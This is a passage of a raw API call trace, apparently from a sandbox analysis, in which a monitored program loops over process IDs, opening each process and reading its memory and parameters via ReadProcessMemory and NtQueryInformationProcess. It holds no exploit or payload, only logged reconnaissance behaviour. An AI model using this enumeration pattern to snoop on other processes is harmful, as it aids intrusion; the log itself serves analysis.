_ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0344.498] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x15e0) returned 0xa9c [0344.498] GetLastError () returned 0x0 [0344.498] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0344.499] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x25b018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0344.499] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0344.499] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x492650, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0344.499] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x492258, lpBuffer=0x5ec5a0, nSize=0x64, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0344.499] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0344.500] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0344.500] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x25b020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0344.500] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x491c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0344.500] malloc (_Size=0x6c) returned 0xea8b20 [0344.500] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4922bc, lpBuffer=0xea8b20, nSize=0x6a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea8b20*, lpNumberOfBytesRead=0x0) returned 1 [0344.501] free (_Block=0xea8b20) [0344.501] CloseHandle (hObject=0xa9c) returned 1 [0344.501] _ui64tow_s (in: _Value=0x1614, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5652") returned 0x0 [0344.502] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5652") returned 4 [0344.502] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0344.502] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0344.503] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1614) returned 0xa9c [0344.503] GetLastError () returned 0x0 [0344.503] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0344.503] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x381018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0344.503] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0344.503] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5d2600, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0344.503] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5d2258, lpBuffer=0x5ec5a0, nSize=0x4c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0344.504] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0344.504] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0344.504] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x381020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0344.504] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5d1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0344.504] malloc (_Size=0x54) returned 0xea9ed0 [0344.504] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5d22a4, lpBuffer=0xea9ed0, nSize=0x52, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea9ed0*, lpNumberOfBytesRead=0x0) returned 1 [0344.505] free (_Block=0xea9ed0) [0344.505] CloseHandle (hObject=0xa9c) returned 1 [0344.505] _ui64tow_s (in: _Value=0x161c, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5660") returned 0x0 [0344.506] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5660") returned 4 [0344.506] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0344.506] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0344.507] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x161c) returned 0xa9c [0344.507] GetLastError () returned 0x0 [0344.507] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0344.507] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x360018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0344.507] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0344.507] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x6a2650, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0344.507] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x6a2258, lpBuffer=0x5ec5a0, nSize=0x64, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0344.508] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0344.508] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0344.508] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x360020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0344.508] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x6a1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0344.508] malloc (_Size=0x6c) returned 0xea92a0 [0344.508] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x6a22bc, lpBuffer=0xea92a0, nSize=0x6a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea92a0*, lpNumberOfBytesRead=0x0) returned 1 [0344.509] free (_Block=0xea92a0) [0344.509] CloseHandle (hObject=0xa9c) returned 1 [0344.509] _ui64tow_s (in: _Value=0x1638, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5688") returned 0x0 [0344.509] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5688") returned 4 [0344.509] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0344.509] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0344.510] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1638) returned 0xa9c [0344.510] GetLastError () returned 0x0 [0344.510] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0344.510] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x342018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0344.510] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0344.511] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x762670, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0344.511] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x762258, lpBuffer=0x5ec5a0, nSize=0x70, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0344.511] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0344.511] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0344.511] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x342020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0344.511] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x761c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0344.512] malloc (_Size=0x78) returned 0xea93a0 [0344.512] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7622c8, lpBuffer=0xea93a0, nSize=0x76, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea93a0*, lpNumberOfBytesRead=0x0) returned 1 [0344.512] free (_Block=0xea93a0) [0344.512] CloseHandle (hObject=0xa9c) returned 1 [0344.512] _ui64tow_s (in: _Value=0x1640, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5696") returned 0x0 [0344.513] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5696") returned 4 [0344.513] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0344.513] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0344.514] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1640) returned 0xa9c [0344.514] GetLastError () returned 0x0 [0344.514] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0344.514] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x305018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0344.514] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0344.514] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5f2650, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0344.514] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5f2258, lpBuffer=0x5ec5a0, nSize=0x66, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0344.514] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0344.515] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0344.515] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x305020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0344.515] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5f1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0344.515] malloc (_Size=0x6e) returned 0xea8ba0 [0344.515] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5f22be, lpBuffer=0xea8ba0, nSize=0x6c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea8ba0*, lpNumberOfBytesRead=0x0) returned 1 [0344.516] free (_Block=0xea8ba0) [0344.516] CloseHandle (hObject=0xa9c) returned 1 [0344.516] _ui64tow_s (in: _Value=0x1648, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5704") returned 0x0 [0344.516] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5704") returned 4 [0344.516] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0344.516] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0344.518] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1648) returned 0xa9c [0344.518] GetLastError () returned 0x0 [0344.518] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0344.518] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3de018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0344.518] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0344.518] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x522650, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0344.518] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x522258, lpBuffer=0x5ec5a0, nSize=0x64, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0344.519] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0344.519] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0344.519] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3de020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0344.519] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x521c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0344.519] malloc (_Size=0x6c) returned 0xea96a0 [0344.519] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5222bc, lpBuffer=0xea96a0, nSize=0x6a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea96a0*, lpNumberOfBytesRead=0x0) returned 1 [0344.520] free (_Block=0xea96a0) [0344.520] CloseHandle (hObject=0xa9c) returned 1 [0344.520] _ui64tow_s (in: _Value=0x1650, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5712") returned 0x0 [0344.520] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5712") returned 4 [0344.521] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0344.521] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0344.521] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1650) returned 0xa9c [0344.521] GetLastError () returned 0x0 [0344.521] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0344.521] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3bb018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0344.522] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0344.522] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5626e0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0344.522] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x562258, lpBuffer=0x5ec5a0, nSize=0x94, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0344.522] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0344.522] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0344.522] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3bb020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0344.523] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x561c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0344.523] malloc (_Size=0x9c) returned 0xe96550 [0344.523] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5622ec, lpBuffer=0xe96550, nSize=0x9a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xe96550*, lpNumberOfBytesRead=0x0) returned 1 [0344.523] free (_Block=0xe96550) [0344.524] CloseHandle (hObject=0xa9c) returned 1 [0344.524] _ui64tow_s (in: _Value=0x1658, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5720") returned 0x0 [0344.524] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5720") returned 4 [0344.524] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0344.524] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0344.525] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1658) returned 0xa9c [0344.525] GetLastError () returned 0x0 [0344.525] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0344.525] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x27f018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0344.525] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0344.525] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x152680, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0344.526] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x152258, lpBuffer=0x5ec5a0, nSize=0x74, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0344.526] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0344.526] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0344.526] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x27f020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0344.526] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x151c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0344.526] malloc (_Size=0x7c) returned 0xe87c10 [0344.526] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1522cc, lpBuffer=0xe87c10, nSize=0x7a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xe87c10*, lpNumberOfBytesRead=0x0) returned 1 [0344.528] free (_Block=0xe87c10) [0344.528] CloseHandle (hObject=0xa9c) returned 1 [0344.528] _ui64tow_s (in: _Value=0x1660, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5728") returned 0x0 [0344.528] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5728") returned 4 [0344.528] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0344.528] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0344.529] 